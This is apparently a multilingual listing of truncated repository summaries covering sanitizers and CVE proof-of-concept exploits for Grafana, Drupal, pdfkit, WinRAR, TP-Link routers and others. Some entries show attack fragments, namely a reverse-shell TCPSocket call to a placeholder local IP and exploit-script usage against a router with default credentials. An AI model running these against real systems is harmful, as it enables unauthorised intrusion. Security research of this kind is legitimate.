dangerzone

Dangerzone 获取可能危险的PDF、办公文档或图像，并将其转换为安全的PDF。 | ---|--- Dangerzone的工作原理如下：您提供一个不确定是否可信任的文档（例如邮件附件）。在沙箱内部，Dangerzone将该文档转换为PDF（如果还不是PDF格式），然后将PDF转换为原始像素数据：每页一个巨大的RGB颜色值列表。然后，在沙箱外部，Dangerzone获取这些像素数据并将其转换回PDF。 在官方网站了解更多关于Dangerzone的信息。 快速开始 请按照各平台的说明进行操作： macOS Windows Ubuntu Linux Debian Linux Fedor...

pii-shield

PII-Shield 🛡️ Zero-code log sanitization sidecar for Kubernetes. Prevents data leaks GDPR/SOC2 by redacting PII from logs before they leave the pod. PII-Shield runs in-process — CLI, sidecar, or WASM. There is no hosted API and no server your data is sent to. Same name, different projects. This is...

CVE-2021-36563

CVE-2021-36563 – Múltiples XSS almacenados y reflejados Aplicación: CheckMK Management Web Console Revisión de software: De 1.5.0 a 2.0.0p9 Tipo de ataque: XSS almacenado y reflejado Solución: Actualizar a la revisión de software 2.0.0p10 o posterior Resumen: La consola web de gestión de CheckMK...

CVE-2024-48910-POC

CVE-2024-48910 概念验证 这是 CVE-2024-48910 的概念验证。该漏洞存在于 DOMPurify 中，这是一个用于 HTML、SVG 和 MathML 的 XSS 清理器。 此版本的 DOMPurify 容易受到原型污染攻击，攻击者可以将属性注入到任何 JS 对象的基础原型中，导致应用程序中的所有后续对象继承此恶意行为。此演示展示了如何利用该漏洞实现客户端 XSS。...

java-html-sanitizer

OWASP Java HTML Sanitizer Un sanitizador de HTML rápido y fácil de configurar escrito en Java que te permite incluir HTML generado por terceros en tu aplicación web mientras te proteges contra XSS. La dependencia existente es de JSR 305. Los otros archivos JAR solo son necesarios para el conjunto...

GrafTraverse-CVE-2021-43798

GrafTraverse - CVE-2021-43798 迷你利用框架 用于授权安全测试 Grafana 目录遍历漏洞（CVE-2021-43798）的命令行自动化工具。 概述 CVE-2021-43798 是 Grafana 8.x 中存在的一个未认证目录遍历漏洞，攻击者可以通过 /public/plugins/ 端点读取底层文件系统中的任意文件。根本原因在于对插件资产请求的路径清理不当，导致 ../ 序列能够逃逸出预期目录。 GrafTraverse...

cve-2024-21534

POC - CVE-2024-21534 Jsonpath-plus vulnerable a la Ejecución Remota de Código RCE debido a una sanitización inadecuada de la entrada Resumen CVE-2024-21534 es una vulnerabilidad crítica encontrada en versiones del paquete jsonpath-plus anteriores a la versión 10.0.0. La vulnerabilidad se debe a u...

exploit-CVE-2022-25765

Exploit para CVE-2022-25765 pdfkit - Inyección de Comandos ¿Te gusta este repositorio? ¡Danos una ⭐! Solo con fines educativos y de investigación de seguridad autorizada. Autor del Exploit @UNICORDev por @NicPWNs y @Dev-Yeoj Descripción de la Vulnerabilidad El paquete pdfkit desde 0.0.0 es...

CVE-2025-1302

CVE-2025-1302 ★ CVE-2025-1302 JSONPath-plus RCE PoC ★ https://github.com/user-attachments/assets/5d791540-ef6c-4cd0-bd25-7a1dbbd194fb Lab Setup docker build -t jsonpath:10.2.0 . docker run --rm --name jsonpath -p 3000:3000 jsonpath:10.2.0 localhost:3000 Description Versions of the package...

CVE-2026-27886

CVE-2026-27886 PoC de Strapi Solo para pruebas de seguridad autorizadas. Strapi filtra datos sensibles mediante filtrado relacional debido a la falta de saneamiento de consultas. Incluye: CVE-2026-27886.py - PoC en Python CVE-2026-27886.yaml - plantilla de Nuclei para detección Qué comprueba El...

cve-2026-9082

CVE-2026-9082 Tipo : Inyección SQL CWE-89 Producto afectado : Drupal Core API de abstracción de base de datos Aviso de Drupal : SA-CORE-2026-004 Publicado : 20 de mayo de 2026 Gravedad : Altamente crítica Drupal 20/25 | NVD CVSS 6.5 ¿Qué es? CVE-2026-9082 es una vulnerabilidad de inyección SQL en...

CVE-2023-38831-POC

描述 名称 : CVE-2023-38831 CVSS 评分 : 7.8 受影响版本 : Winrar 6.23 CVE-2023-38831 是一个零日漏洞，影响所有低于 6.23 版本的 WinRAR。 问题出在 ZIP 格式的处理上，攻击者可以利用受影响的压缩包来分发恶意软件。恶意行为者可以在 ZIP 压缩包内将恶意文件伪装成与合法文件相似的名字，诱骗用户打开似乎安全的文件，从而执行有害内容。此漏洞自 2023 年 4 月以来已被积极利用，尤其针对金融行业，给打开不受信任压缩文件的用户带来重大风险。升级到 WinRAR 6.23 或更高版本可通过改进提取过程中的文件名清理来缓解此漏...

CVE-2023-33538

Exploit en Python para la Vulnerabilidad de Inyección de Comandos en TP-Link TL-WR940N/TL-WR841N Instrucciones de Uso 1. Verificación Básica de Vulnerabilidad : python tplinkexploit.py -t 192.168.1.1 -u admin -p admin 2. Ejecutar Comando Personalizado : python tplinkexploit.py -t 192.168.1.1 -u...

CVE-2022-25765-pdfkit-Exploit-Reverse-Shell

CVE-2022-25765-pdfkit-漏洞利用-反弹Shell pdfkit TCPSocket.new"LOCAL-IP",LOCAL-LISTEN-PORT' 通过 CURL（修改粗体 值）： curl 'TARGET-URL ' -X POST -H 'User-Agent: Mozilla/5.0 X11; Linux x8664; rv:102.0 Gecko/20100101 Firefox/102.0' -H 'Accept:...

CVE-2018-7600-Remote-Code-Execution

Exploit de Drupalgeddon2 en Python CVE-2018-7600 Este repositorio contiene un exploit de prueba de concepto basado en Python para la vulnerabilidad crítica de ejecución remota de código en Drupal, conocida como Drupalgeddon2 CVE-2018-7600. Este script está diseñado con fines educativos y para que...

CVE-2023-30547

CVE-2023-30547 Exploit PoC para la vulnerabilidad de escape de sandbox de VM2 alt img Descripción vm2 3.9.17 es vulnerable a la ejecución de código arbitrario debido a una falla en la sanitización de excepciones. Los atacantes pueden explotar esto provocando una excepción de host no sanitizada...

CVE-2026-84739

GitLab has remediated an issue in GitLab CE/EE affecting all versions from 13.11 before 19.2.7, 19.3 before 19.3.3, and 19.4 before 19.4.1 that under certain conditions could have allowed an authenticated user to execute arbitrary JavaScript in the context of another user's browser session due to...

CVE-2024-9264-RCE-Exploit

CVE-2024-9264-RCE-Exploit in Grafana via SQL Expressions 描述 Grafana中远程代码执行（CVE-2024-9264）的概念验证 该仓库包含一个Python脚本，用于利用Grafana的SQL Expressions功能中的远程代码执行（RCE）漏洞。通过利用输入清理不足，该漏洞利用允许攻击者在服务器上执行任意shell命令。这是通过shellfs社区扩展实现的，攻击者可以安装并加载该扩展以协助命令执行。 前置条件 已验证的具有Viewer或更高权限的Grafana用户...

CVE-2021-38817-Remote-OS-Command-Injection

CVE-2021-38817-Inyección-remota-de-comandos-del-SO Inyección remota de comandos del sistema operativo autenticada/Ejecución remota de código en la parte web Sendmail de TastyIgniter v3.0.7 CVE-2021-38817 Existe una vulnerabilidad de inyección remota de comandos del sistema operativo autenticada e...

PDFkit-CMD-Injection

PDFkit-CMD-Injection CVE-2022-25765 pdfkit 0.8.6 inyección de comandos. El paquete pdfkit es vulnerable a la inyección de comandos cuando la URL no está correctamente sanitizada. Nota: Este problema fue corregido en 0.8.7.2, pero se descubrió que el parche era ineficaz. La versión de parche...